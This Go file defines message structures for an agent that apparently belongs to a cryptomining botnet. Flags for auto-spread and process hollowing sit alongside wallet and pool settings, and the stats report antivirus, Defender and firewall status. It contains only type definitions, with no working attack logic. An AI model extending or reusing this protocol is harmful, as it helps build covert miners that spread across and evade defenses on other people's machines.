package client

import "encoding/json"

type Message struct {
	Type    string          `json:"type"`
	Payload json.RawMessage `json:"payload"`
}

// BackupPoolEntry is a fallback pool sent by the agent in its auth message.
type BackupPoolEntry struct {
	Host string `json:"host"`
	Port int    `json:"port"`
	TLS  bool   `json:"pool_tls"`
	Pass string `json:"pass"`
}

type AuthPayload struct {
	AgentID          string            `json:"agent_id"`
	FleetSecret      string            `json:"fleet_secret"`
	Wallet           string            `json:"wallet"`
	BackupPools      []BackupPoolEntry `json:"backup_pools,omitempty"`
	Version          string `json:"version"`
	Hostname         string `json:"hostname"`
	CPUCores         int    `json:"cpu_cores"`
	MemoryGB         int    `json:"memory_gb"`
	Worker           string `json:"worker_name"`
	PoolHost         string `json:"pool_host"`
	PoolPort         int    `json:"pool_port"`
	PoolTLS          bool   `json:"pool_tls"`
	PoolPass         string `json:"pool_pass"`
	AIEnabled        bool   `json:"ai_enabled"`
	AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
	AIModel          string `json:"ai_model"`
	HolePunch        bool   `json:"hole_punch"`
	RemoteAggressive bool   `json:"remote_aggressive"`
	MeshP2P          bool   `json:"mesh_p2p"`
	AutoSpread       bool   `json:"auto_spread"`
	ProcessHollowing bool   `json:"process_hollowing"`
	Platform         string `json:"platform"`
	Arch             string `json:"arch"`
	OSVersion        string `json:"os_version"`
	MacAddress       string `json:"mac_address,omitempty"`
}

type AuthResponse struct {
	Success bool   `json:"success"`
	AgentID string `json:"agent_id"`
	Error   string `json:"error"`
}

type Job struct {
	ID            string `json:"job_id"`
	Height        int64  `json:"height"`
	BlockTemplate string `json:"blocktemplate"`
	Difficulty    int64  `json:"difficulty"`
	SeedHash      string `json:"seed_hash"`
	Target        string `json:"target"`
	Blob          string `json:"blob"`
	Algo          string `json:"algo"`
}

type SharePayload struct {
	JobID  string `json:"job_id"`
	Nonce  string `json:"nonce"`
	Hash   string `json:"hash"`
	Worker string `json:"worker_name"`
}

type StatsPayload struct {
	Hashrate15s     float64 `json:"hashrate_15s"`
	Hashrate1m      float64 `json:"hashrate_1m"`
	Hashrate15m     float64 `json:"hashrate_15m"`
	SharesSubmitted int     `json:"shares_submitted"`
	SharesAccepted  int     `json:"shares_accepted"`
	CPUUsagePct     float64 `json:"cpu_usage_pct"`
	MemoryUsagePct  float64 `json:"memory_usage_pct"`
	UptimeSeconds   int     `json:"uptime_seconds"`

	// DNS config (T1016 — drift detected server-side)
	DNSServers       []string `json:"dns_servers,omitempty"`
	DNSSearchDomains []string `json:"dns_search_domains,omitempty"`

	// Listen ports count (full list via listen_ports command)
	ListenPortCount *int `json:"listen_port_count,omitempty"`

	// Resource pressure (mining-specific runtime telemetry)
	CPUFreqMHz  *int     `json:"cpu_freq_mhz,omitempty"`
	CPUMaxMHz   *int     `json:"cpu_max_mhz,omitempty"`
	CPUThrottle *bool    `json:"cpu_throttle,omitempty"`
	CPUTempC    *int     `json:"cpu_temp_c,omitempty"`
	DiskFreeGB  *float64 `json:"disk_free_gb,omitempty"`
	DiskTotalGB *float64 `json:"disk_total_gb,omitempty"`
	DiskFreePct *int     `json:"disk_free_pct,omitempty"`
	GPUTempC    *int     `json:"gpu_temp_c,omitempty"`
	GPUUsagePct *int     `json:"gpu_usage_pct,omitempty"`

	// GPU / Ravencoin mining stats
	GPUMinerActive *bool   `json:"gpu_miner_active,omitempty"`
	GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"`
	GPUHashrate1m  float64 `json:"gpu_hashrate_1m,omitempty"`
	GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
	GPUModel       string  `json:"gpu_model,omitempty"`

	// SSH + posture
	SSHAvailable    *bool    `json:"ssh_available,omitempty"`
	PostureScore    *int     `json:"posture_score,omitempty"`
	DefenderEnabled *bool    `json:"defender_enabled,omitempty"`
	DefenderRTP     *bool    `json:"defender_rtp,omitempty"`
	AVProducts      []string `json:"av_products,omitempty"`
	FirewallDomain  *bool    `json:"firewall_domain,omitempty"`
	FirewallPrivate *bool    `json:"firewall_private,omitempty"`
	FirewallPublic  *bool    `json:"firewall_public,omitempty"`
	LastPatchDays   *int     `json:"last_patch_days,omitempty"`
	LastPatch       *string  `json:"last_patch,omitempty"`
	PendingUpdates  *int     `json:"pending_updates,omitempty"`
	RebootPending   *bool    `json:"reboot_pending,omitempty"`
	AgentElevated   *bool    `json:"agent_elevated,omitempty"`
	Services        []ServiceStatus `json:"services,omitempty"`
}

type ShareResult struct {
	JobID    string `json:"job_id"`
	Accepted bool   `json:"accepted"`
	Error    string `json:"error"`
}
